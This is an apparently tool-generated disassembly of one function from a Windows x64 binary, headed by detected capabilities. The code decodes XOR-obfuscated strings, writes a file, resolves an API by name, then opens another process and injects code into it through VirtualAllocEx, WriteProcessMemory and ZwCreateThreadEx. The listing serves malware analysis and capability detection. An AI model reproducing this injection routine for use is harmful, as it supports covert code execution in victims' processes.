Function at 0x140044490
Capabilities:
Create thread
Encode data using xor
Generate random numbers using a mersenne twister
Inject thread

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1d50
call fcn.1400bfee0
sub rsp, rax
vmovaps xmmword [rsp + 0x1d40], xmm6
mov rax, qword [0x1401340e8]
xor rax, rsp
mov qword [rsp + 0x1d30], rax
mov r12d, edx
mov r13, rcx
mov qword [rsp + 0x260], rcx
xor esi, esi
mov dword [rsp + 0x68], esi
lea rcx, [rsp + 0x1ca0]
call fcn.140042ff0
nop
mov rdx, rax
lea rcx, [rsp + 0x2b0]
call fcn.14004f580
mov dword [rsp + 0x68], 0x200
vmovups ymm0, ymmword [rsp + 0x2b0]
vmovups ymmword [rsp + 0xf0], ymm0
mov qword [rsp + 0x2c0], rsi
mov qword [rsp + 0x2c8], 7
mov word [rsp + 0x2b0], si
vpxor xmm6, xmm6, xmm6
vmovdqu xmmword [rsp + 0x270], xmm6
xor r8d, r8d
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x440]
vzeroupper
call fcn.140042c50
nop
cmp byte [rsp + 0x6b8], sil
je 0x1400445db
lea ecx, [rsi + 0x58]
call fcn.1400bf1e0
mov rdi, rax
mov qword [rsp + 0x70], rax
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_struct_std::filesystem::_Dir_enum_impl_.0
mov qword [rdi], rax
lea rbx, [rdi + 0x10]
lea rdx, [rsp + 0x440]
mov rcx, rbx
call fcn.140042ef0
nop
mov dword [rsp + 0x68], 0x600
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0x270], rbx
mov qword [rsp + 0x278], rdi
vmovdqu xmm6, xmmword [rsp + 0x270]
jmp 0x1400445e1
vpextrq rdi, xmm6, 1
mov ebx, dword [rsp + 0x6bc]
mov rcx, qword [rsp + 0x460]
call fcn.1400be648
lea rcx, [rsp + 0x440]
call fcn.14004fec0
test ebx, ebx
jne 0x1400457ca
lea rcx, [rsp + 0xf0]
call fcn.14004fec0
nop
lea rcx, [rsp + 0x2b0]
call fcn.14004fec0
nop
lea rcx, [rsp + 0x1ca0]
call fcn.14004fec0
test rdi, rdi
je 0x14004464d
lock inc dword [rdi + 8]
mov rdi, qword [rsp + 0x278]
vmovdqu xmm6, xmmword [rsp + 0x270]
vmovdqu xmmword [rsp + 0x280], xmm6
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rsp + 0x190], xmm0
test rdi, rdi
je 0x14004467d
lock inc dword [rdi + 8]
mov rdi, qword [rsp + 0x278]
vmovdqu xmm6, xmmword [rsp + 0x270]
vmovdqa xmmword [rsp + 0x1a0], xmm6
vpxor xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x310], xmm1
mov r15, 0xffffffffffffffff
test rdi, rdi
je 0x1400446d8
mov eax, r15d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x1400446d8
mov rbx, qword [rsp + 0x278]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400446d8
mov rcx, qword [rsp + 0x278]
mov rax, qword [rcx]
call qword [rax + htons]
nop
nop dword [rax + rax]
mov rdi, qword [rsp + 0x280]
nop dword [rax + rax]
test rdi, rdi
je 0x140044b64
lea rcx, [rsp + 0x200]
call fcn.140042ff0
nop
mov rdx, rax
lea rcx, [rsp + 0x1c0]
call fcn.14004f580
or dword [rsp + 0x68], 0x40
lea rdx, [rdi + 0x20]
lea rcx, [rsp + 0xa0]
call fcn.14004f580
or dword [rsp + 0x68], 0x20
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x2d0], xmm0
mov qword [rsp + 0x2e0], rsi
mov qword [rsp + 0x2e8], rsi
mov rax, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0x1d0]
cmp rax, rdx
jb 0x1400457fa
mov qword [rsp + 0x430], r15
sub rax, rdx
mov qword [rsp + 0x180], rax
mov rbx, r15
cmp rax, r15
cmovb rbx, rax
lea rax, [rsp + 0xa0]
mov rcx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xb8]
cmp r8, 8
cmovae rax, rcx
cmp rbx, 8
jb 0x140044823
lea rsi, [rbx + rbx]
test rdx, rdx
je 0x1400447d3
lea rdx, [rax + rdx*2]
mov r8, rsi
mov rcx, rax
call fcn.1400c1a40
mov r8, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xa0]
lea rax, [rsp + 0xa0]
cmp r8, 8
cmovae rax, rcx
mov qword [rsp + 0xb0], rbx
xor ecx, ecx
mov word [rax + rsi], cx
vmovups ymm0, ymmword [rsp + 0xa0]
vmovups ymmword [rsp + 0x2d0], ymm0
xor esi, esi
mov qword [rsp + 0xb0], rsi
mov qword [rsp + 0xb8], 7
mov word [rsp + 0xa0], si
jmp 0x140044856
lea rdx, [rax + rdx*2]
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], 7
add rbx, rbx
mov r8, rbx
lea rcx, [rsp + 0x2d0]
call fcn.1400c1a40
mov word [rsp + rbx + 0x2d0], si
lea rcx, [rsp + 0xa0]
vzeroupper
call fcn.14004fec0
nop
lea rcx, [rsp + 0x1c0]
call fcn.14004fec0
nop
lea rcx, [rsp + 0x200]
call fcn.14004fec0
lea rdx, [rsp + 0x110]
mov rcx, rdi
call fcn.140042ae0
mov rax, qword [rsp + 0x110]
mov edx, dword [rsp + 0x118]
test edx, edx
je 0x1400448b4
lea ecx, [rax - 1]
test ecx, 0xfffffff7
jne 0x1400457e1
cmp eax, 2
je 0x1400448be
jmp 0x140044a85
movabs rax, 0xb8f64c145c16e365
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x80], rax
movabs r14, 0xf6ded18574c16bb8
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x88], rax
movabs rax, 0xb89a4c785c72e34b
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1cd0], rax
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1cd8], rax
vmovdqu xmm0, xmmword [rsp + 0x80]
vpxor xmm1, xmm0, xmmword [rsp + 0x1cd0]
vmovdqu xmmword [rsp + 0x80], xmm1
lea rax, [rsp + 0x80]
mov r10, r15
nop word [rax + rax]
inc r10
cmp word [rax + r10*2], 0
jne 0x140044950
lea rbx, [rsp + 0x2d0]
cmp qword [rsp + 0x2e8], 8
cmovae rbx, qword [rsp + 0x2d0]
mov rax, qword [rsp + 0x2e0]
cmp r10, rax
ja 0x140044a7d
test r10, r10
je 0x140044a24
sub rax, r10
inc rax
lea rdi, [rbx + rax*2]
mov rax, rbx
mov r11, qword [rsp + 0x80]
nop dword [rax]
nop dword [rax + rax]
mov rcx, rdi
sub rcx, rax
sar rcx, 1
mov rdx, rsi
je 0x1400449da
cmp word [rax], r11w
je 0x1400449d7
cmp rcx, 1
je 0x1400449da
dec rcx
add rax, 2
cmp word [rax], r11w
jne 0x1400449c4
mov rdx, rax
mov rax, rdx
test rdx, rdx
je 0x140044a7d
mov r8, r10
lea rdx, [rsp + 0x80]
test r10, r10
je 0x140044a18
lea rcx, [rsp + 0x80]
mov r9, rax
sub r9, rcx
movzx ecx, word [r9 + rdx]
cmp cx, word [rdx]
jne 0x140044a74
add rdx, 2
sub r8, 1
jne 0x140044a04
sub rax, rbx
sar rax, 1
cmp rax, 0xffffffffffffffff
je 0x140044a7d
mov rdi, qword [rsp + 0x280]
lea rdx, [rdi + 0x20]
lea rcx, [rsp + 0x160]
call fcn.14004f580
or dword [rsp + 0x68], 0x100
lea rcx, [rsp + 0x160]
cmp qword [rsp + 0x178], 8
cmovae rcx, qword [rsp + 0x160]
call fcn.1400d68f4
lea rcx, [rsp + 0x160]
call fcn.14004fec0
nop
jmp 0x140044a85
add rax, 2
jmp 0x1400449b0
mov rdi, qword [rsp + 0x280]
lea rcx, [rsp + 0x2d0]
call fcn.14004fec0
lea rdx, [rsp + 0x6c0]
mov rcx, qword [rdi + 0x40]
call fcn.1400be628
cmp eax, 0x12
je 0x140044aee
test eax, eax
jne 0x1400457f2
cmp word [rsp + 0x6ec], 0x2e
jne 0x140044ad9
movzx eax, word [rsp + 0x6ee]
test ax, ax
je 0x140044a92
cmp ax, 0x2e
jne 0x140044ad9
cmp word [rsp + 0x6f0], 0
je 0x140044a92
lea rdx, [rsp + 0x6c0]
mov rcx, rdi
call fcn.140042db0
jmp 0x1400446f0
mov qword [rsp + 0xe0], rdi
mov rdi, rsi
mov qword [rsp + 0x280], rsi
mov rbx, qword [rsp + 0x288]
mov qword [rsp + 0xe8], rbx
mov qword [rsp + 0x288], rsi
test rbx, rbx
je 0x1400446f0
mov eax, r15d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x1400446e0
mov rcx, qword [rsp + 0xe8]
mov rax, qword [rcx]
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400446e0
mov rcx, qword [rsp + 0xe8]
mov rax, qword [rcx]
call qword [rax + htons]
jmp 0x1400446e0
mov rcx, qword [rsp + 0x318]
test rcx, rcx
je 0x140044baa
mov eax, r15d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140044baa
mov rbx, qword [rsp + 0x318]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140044baa
mov rcx, qword [rsp + 0x318]
mov rax, qword [rcx]
call qword [rax + htons]
nop
mov rbx, qword [rsp + 0x288]
test rbx, rbx
je 0x140044bf0
mov eax, r15d
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140044bf0
mov rbx, qword [rsp + 0x288]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140044bf0
mov rcx, qword [rsp + 0x288]
mov rax, qword [rcx]
call qword [rax + htons]
nop
mov rcx, qword [rsp + 0x278]
test rcx, rcx
je 0x140044c35
mov eax, r15d
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140044c35
mov rbx, qword [rsp + 0x278]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r15d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140044c35
mov rcx, qword [rsp + 0x278]
mov rax, qword [rcx]
call qword [rax + htons]
call fcn.1400be4bc
mov dword [rsp + 0x1c94], 0xffffffff
mov dword [rsp + 0x914], eax
mov edx, 1
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x914], eax
inc rdx
cmp rdx, 0x270
jb 0x140044c51
mov dword [rsp + 0x910], 0x270
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x2f0], xmm0
mov qword [rsp + 0x300], rsi
mov qword [rsp + 0x308], rsi
xor r8d, r8d
lea rdx, [0x140112df4]
lea rcx, [rsp + 0x2f0]
call fcn.1400504b0
nop
mov r14d, 3
nop dword [rax]
mov rbx, qword [0x1401530a0]
mov rsi, qword [0x140153098]
sub rbx, rsi
sar rbx, 4
dec ebx
lea rcx, [rsp + 0x910]
cmp ebx, 0xffffffff
jne 0x140044ced
call fcn.140051350
mov ecx, eax
jmp 0x140044d2b
inc ebx
call fcn.140051350
mov edi, ebx
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jae 0x140044d27
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x140044d27
nop
lea rcx, [rsp + 0x910]
call fcn.140051350
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jb 0x140044d10
shr rcx, 0x20
movsxd rax, ecx
add rax, rax
vmovups xmm0, xmmword [rsi + rax*8]
vmovups xmmword [rsp + 0x1b0], xmm0
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x220]
call fcn.14008d850
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 8
jb 0x140044d63
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x2f0]
call fcn.14004f4f0
nop
lea rcx, [rsp + 0x220]
call fcn.14004fec0
sub r14, 1
jne 0x140044cc0
movabs rax, 0xb8f64c145c16e365
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x120], rax
movabs r14, 0xf6ded18574c16bb8
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x128], rax
movabs rax, 0xb89a4c785c72e34b
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1cf0], rax
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1cf8], rax
vmovdqu xmm0, xmmword [rsp + 0x120]
vpxor xmm1, xmm0, xmmword [rsp + 0x1cf0]
vmovdqu xmmword [rsp + 0x120], xmm1
lea rcx, [rsp + 0x240]
call fcn.140042ff0
nop
mov rdx, rax
lea rcx, [rsp + 0x1e0]
call fcn.14004f580
mov ebx, dword [rsp + 0x68]
or ebx, 0x10
lea rdx, [rsp + 0x2f0]
cmp qword [rsp + 0x308], 8
cmovae rdx, qword [rsp + 0x2f0]
mov r8, qword [rsp + 0x300]
lea rcx, [rsp + 0x1e0]
call fcn.14004f4f0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x140], xmm0
xor edi, edi
mov qword [rsp + 0x150], rdi
mov qword [rsp + 0x158], rdi
vmovups ymm0, ymmword [rax]
vmovups ymmword [rsp + 0x140], ymm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
or ebx, 8
lea rax, [rsp + 0x120]
nop word [rax + rax]
inc r15
cmp word [rax + r15*2], 0
jne 0x140044eb0
mov r8, r15
lea rdx, [rsp + 0x120]
lea rcx, [rsp + 0x140]
vzeroupper
call fcn.14004f4f0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x290], xmm0
mov qword [rsp + 0x2a0], rdi
mov qword [rsp + 0x2a8], rdi
vmovups ymm0, ymmword [rax]
vmovups ymmword [rsp + 0x290], ymm0
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
or ebx, 1
lea rcx, [rsp + 0x140]
vzeroupper
call fcn.14004fec0
nop
lea rcx, [rsp + 0x1e0]
call fcn.14004fec0
nop
lea rcx, [rsp + 0x240]
call fcn.14004fec0
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x320]
call fcn.1400c20e0
lea rax, [0x14010db18]
mov qword [rsp + 0x320], rax
mov qword [rsp + 0x3d0], rdi
mov qword [rsp + 0x3f8], rdi
vpxor xmm0, xmm0, xmm0
vmovdqu xmmword [rsp + 0x400], xmm0
or ebx, 2
mov dword [rsp + 0x68], ebx
lea rsi, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x3c8], rsi
mov dword [rsp + 0x3c4], 0x98
xor r8d, r8d
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0x3c8]
call fcn.1400412b0
nop
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x320], rdi
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x31c], edx
lea rcx, [rsp + 0x328]
call fcn.14004fb70
nop
lea rdx, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 8
cmovae rdx, qword [rsp + 0x290]
lea rcx, [rsp + 0x320]
call fcn.14004fc00
mov rdx, r13
cmp qword [r13 + 0x18], 0x10
jb 0x140045030
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
lea rcx, [rsp + 0x320]
call fcn.14004f170
lea rcx, [rsp + 0x328]
call fcn.14004f9d0
test rax, rax
jne 0x140045093
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
mov eax, 6
mov edx, 2
cmp qword [rsp + rcx + 0x368], 0
cmovne eax, edx
or eax, dword [rsp + rcx + 0x330]
and eax, 0x17
mov dword [rsp + rcx + 0x330], eax
and eax, dword [rsp + rcx + 0x334]
jne 0x14004576f
call fcn.1400be078
mov rbx, rax
call fcn.1400be05c
cmp rbx, 0x989680
jne 0x1400450af
imul rax, rax, 0x64
jmp 0x1400450ca
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs rcx, 0x7fffffffc46535ff
cmp rax, rcx
jge 0x1400450e1
add rax, 0x3b9aca00
jmp 0x1400450eb
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0xc0]
call fcn.140050ae0
movabs rax, 0x8aa9201d32008600
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xd0], rax
movabs rax, 0xf6ded18518ad0f96
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xd8], rax
movabs rbx, 0xb89a4c785c72e34b
mov qword [rsp + 0x60], rbx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1d10], rax
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1d18], rax
vmovdqu xmm0, xmmword [rsp + 0xd0]
vpxor xmm1, xmm0, xmmword [rsp + 0x1d10]
vmovdqu xmmword [rsp + 0xd0], xmm1
lea rcx, [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
test rax, rax
jne 0x140045247
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x320], rdi
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x31c], edx
lea rcx, [rsp + 0x328]
call fcn.14004f0c0
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x320], rsi
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x31c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x3c8], rax
lea rcx, [rsp + 0x3c8]
call fcn.1400bdec8
nop
lea rcx, [rsp + 0x290]
call fcn.14004fec0
nop
lea rcx, [rsp + 0x2f0]
call fcn.14004fec0
nop
mov rcx, r13
call fcn.140027510
xor eax, eax
jmp 0x14004573c
movabs rax, 0xcaf8253438138c07
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x90], rax
movabs rax, 0xf6ded18535b819d9
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x60], rbx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1ca0], rax
mov qword [rsp + 0x60], r14
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x1ca8], rax
vmovdqu xmm0, xmmword [rsp + 0x90]
vpxor xmm1, xmm0, xmmword [rsp + 0x1ca0]
vmovdqu xmmword [rsp + 0x90], xmm1
lea rdx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
test rax, rax
jne 0x14004535e
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x320], rdi
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x31c], edx
lea rcx, [rsp + 0x328]
call fcn.14004f0c0
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x320], rsi
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x31c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x3c8], rax
lea rcx, [rsp + 0x3c8]
call fcn.1400bdec8
nop
jmp 0x14004521c
mov r8d, r12d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
mov r8, qword [rsp + 0x2a0]
inc r8
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x1000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
test rax, rax
jne 0x14004542e
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x320], rdi
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x31c], edx
lea rcx, [rsp + 0x328]
call fcn.14004f0c0
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x320], rax
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x31c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x3c8], rax
lea rcx, [rsp + 0x3c8]
call fcn.1400bdec8
nop
jmp 0x14004521c
mov rdi, qword [rsp + 0x2a0]
lea r12, [rdi + 1]
lea rbx, [rsp + 0x290]
cmp qword [rsp + 0x2a8], 8
cmovae rbx, qword [rsp + 0x290]
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x2b0], xmm0
xor ecx, ecx
mov qword [rsp + 0x2c0], rcx
mov qword [rsp + 0x2c8], recv
mov byte [rsp + 0x2b0], cl
cmp rdi, 0xf
jbe 0x14004549e
mov rdx, rdi
lea rcx, [rsp + 0x2b0]
call fcn.140028820
xor eax, eax
mov qword [rsp + 0x2c0], rax
lea rdi, [rbx + rdi*2]
lea r8, [rsp + 0x2b0]
cmp rbx, rdi
je 0x1400454ea
nop
movzx edx, word [rbx]
add rbx, 2
lea eax, [rdx - 0xd800]
cmp eax, 0x3ff
ja 0x1400454d6
movzx ecx, word [rbx]
add rbx, 2
shl edx, 0xa
add edx, 0xfca02400
add edx, ecx
lea rcx, [rsp + 0x70]
call fcn.14008e5a0
mov r8, qword [rsp + 0x70]
cmp rbx, rdi
jne 0x1400454b0
vmovups ymm0, ymmword [rsp + 0x2b0]
vmovups ymmword [rsp + 0xf0], ymm0
xor ebx, ebx
mov qword [rsp + 0x2c0], rbx
mov qword [rsp + 0x2c8], recv
mov byte [rsp + 0x2b0], bl
lea rcx, [rsp + 0x2b0]
vzeroupper
call fcn.140027510
lea r8, [rsp + 0xf0]
cmp qword [rsp + 0x108], 0x10
cmovae r8, qword [rsp + 0xf0]
mov qword [rsp + 0x20], rbx
mov r9, r12
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, [rsp + 0xf0]
call fcn.140027510
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
mov r9, rsi
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rsp + 0x270]
call qword [sym.imp.ntdll.dll_ZwCreateThreadEx]
mov rcx, qword [rsp + 0x270]
test rcx, rcx
jne 0x140045644
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x320], rax
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x31c], edx
lea rcx, [rsp + 0x328]
call fcn.14004f0c0
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x320], rax
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x31c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x3c8], rax
lea rcx, [rsp + 0x3c8]
call fcn.1400bdec8
nop
jmp 0x14004521c
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rsp + 0x2a0]
inc r8
mov r9d, 0x8000
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x320], rax
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x31c], edx
lea rcx, [rsp + 0x328]
call fcn.14004f0c0
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x320], rax
mov rax, qword [rsp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x31c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x3c8], rax
lea rcx, [rsp + 0x3c8]
call fcn.1400bdec8
nop
lea rcx, [rsp + 0x290]
call fcn.14004fec0
nop
lea rcx, [rsp + 0x2f0]
call fcn.14004fec0
nop
mov rcx, r13
call fcn.140027510
mov eax, 1
mov rcx, qword [rsp + 0x1d30]
xor rcx, rsp
call fcn.1400bf1c0
lea r11, [rsp + 0x1d50]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
vmovaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
test al, 4
je 0x14004577c
lea rbx, str.ios_base::badbit_set
jmp 0x140045790
test dl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x90]
call fcn.1400349f0
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x1ca0]
call fcn.1400351d0
lea rdx, [0x1401315a8]
lea rcx, [rsp + 0x1ca0]
call fcn.1400c1948
nop
lea r8, [rsp + 0xf0]
mov edx, ebx
lea rcx, str.directory_iterator::directory_iterator
call fcn.140042a10
nop
lea r8, [rdi + 0x20]
lea rcx, str.directory_entry::status
call fcn.140042a10
nop
mov edx, eax
call fcn.140042920
nop
call fcn.14003df10
int3